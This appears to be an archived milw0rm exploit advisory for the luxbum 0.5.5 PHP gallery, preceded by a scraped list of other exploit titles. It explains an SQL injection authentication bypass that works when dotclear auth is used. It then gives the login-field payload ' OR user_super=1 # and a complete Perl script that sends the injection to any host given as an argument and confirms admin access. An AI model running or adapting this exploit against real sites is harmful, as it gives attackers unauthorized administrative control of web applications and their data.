
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
121 lines
3.4 KiB
Text
Executable file
121 lines
3.4 KiB
Text
Executable file
__
|
|
/\ \
|
|
\ \ \/'\ ___ __ _ ___ ___ __
|
|
\ \ , < /' _ `\ /\ \/'\ / __`\ /' _ `\ /'__`\
|
|
\ \ \\`\ /\ \/\ \\/> <//\ \L\ \/\ \/\ \/\ __/
|
|
\ \_\ \_\ \_\ \_\/\_/\_\ \____/\ \_\ \_\ \____\
|
|
\/_/\/_/\/_/\/_/\//\/_/\/___/ \/_/\/_/\/____/
|
|
Better to be alone than in bad company
|
|
|
|
|
|
|
|
|
|
|
|
+============+
|
|
| MAIN INFOS |
|
|
+============+
|
|
|
|
Software name: luxbum (PHP Web gallery)
|
|
Version: 0.5.5/stable
|
|
Flaw type: sql injection -> auth bypass
|
|
URL: http://www.luxbum.net/
|
|
Found by: knxone <knxone[at]webmail(d0t)ru>
|
|
Greetings: _Pirata_ from this famous irc server ;)
|
|
|
|
|
|
|
|
+=========+
|
|
| CONCEPT |
|
|
+=========+
|
|
|
|
Luxbum allows authentification using dotclear username and password via MySQL,
|
|
while the default auth mechanism uses a md5 hash of the pass in a PHP file.
|
|
|
|
If you trace all the code from login form to admin panel, you'll notice that
|
|
user input isn't filtered in manager.php or mysql.inc.php.
|
|
|
|
So if you use dotclear auth in luxbum, SQL injection is possible but, in order
|
|
to bypass, we need to return at least one row to get it working and it has to
|
|
be a dotclear admin.
|
|
|
|
In dotclear, the table dc_user stores in the column "user_super" the super
|
|
admin status. If it's == 1 then the user is super-admin. Since the luxbum auth
|
|
mechanism already fully accesses to dotclear users' data , exploiting is
|
|
very easy and doesn't require the disclosure of dotclear database infos (DB
|
|
name, username, pass, prefix etc.).
|
|
|
|
|
|
|
|
+=========+
|
|
| EXPLOIT |
|
|
+=========+
|
|
|
|
- requires magic_quotes = Off
|
|
- requires use of dotclear auth (not default)
|
|
|
|
|
|
Go to: http://host/luxbum/manager.php
|
|
Enter as Username: ' OR user_super=1 #
|
|
Enter as Password: xxxxxxxxxxxxxxxxxxxx
|
|
|
|
|
|
|
|
+==============+
|
|
| EXPLOIT CODE |
|
|
+==============+
|
|
|
|
#!/usr/bin/perl -w
|
|
# luxbum 0.5.5 auth bypass via sql injection.
|
|
# requires magic_quotes Off and use of dotclear auth
|
|
# returns 0 if successful, else 1
|
|
# ./luxbum http://host.tld/luxbumrootdir
|
|
# By knxone <knxone[at]webmail(d0t)ru>
|
|
use strict;
|
|
use LWP::UserAgent;
|
|
use HTTP::Cookies;
|
|
use Term::ANSIColor qw(:constants);
|
|
$Term::ANSIColor::AUTORESET = 1;
|
|
help() if ( ! defined($ARGV[0]) || scalar(@ARGV) != 1 );
|
|
|
|
|
|
my $ua = LWP::UserAgent->new(
|
|
agent => 'Mozilla/4.73 [en] (U; Windows 3.1; Internet Explorer 2.0)',
|
|
cookie_jar => HTTP::Cookies->new(
|
|
file => ".cookies",
|
|
autosave => 1
|
|
)
|
|
);
|
|
my $url = $ARGV[0]."/manager.php?p=login";
|
|
|
|
# First we inject to open a valid session
|
|
my $req = HTTP::Request->new( POST => $url ) ;
|
|
$req->content_type("application/x-www-form-urlencoded");
|
|
$req->content("username='+OR+user_super%3D1%23&password=".'x'x32);
|
|
my $response = $ua->request($req);
|
|
if ( ! $response->is_error && $response->content !~ m/message_ko/ ) {
|
|
print BOLD GREEN "Auth bypass successful :-)\n";
|
|
} else {
|
|
print BOLD RED "Auth bypass failed :-(\n";
|
|
exit(1);
|
|
}
|
|
|
|
|
|
# Then we check if we've really done it
|
|
$response = $ua->get($ARGV[0]."/manager.php");
|
|
if ( $response->content =~ m/h1_admin/ ) {
|
|
print BOLD GREEN "Access Granted as gallery Admin at ".$ARGV[0]." :-)))\n";
|
|
exit(0);
|
|
} else {
|
|
print BOLD RED "Access Denied at ".$ARGV[0]." :-(\n";
|
|
exit(1);
|
|
}
|
|
|
|
|
|
sub help {
|
|
print "Usage: ".$0." http://host.tld/luxbumrootdir\n";
|
|
exit(1);
|
|
}
|
|
|
|
#EOF
|
|
|
|
# milw0rm.com [2009-05-08]
|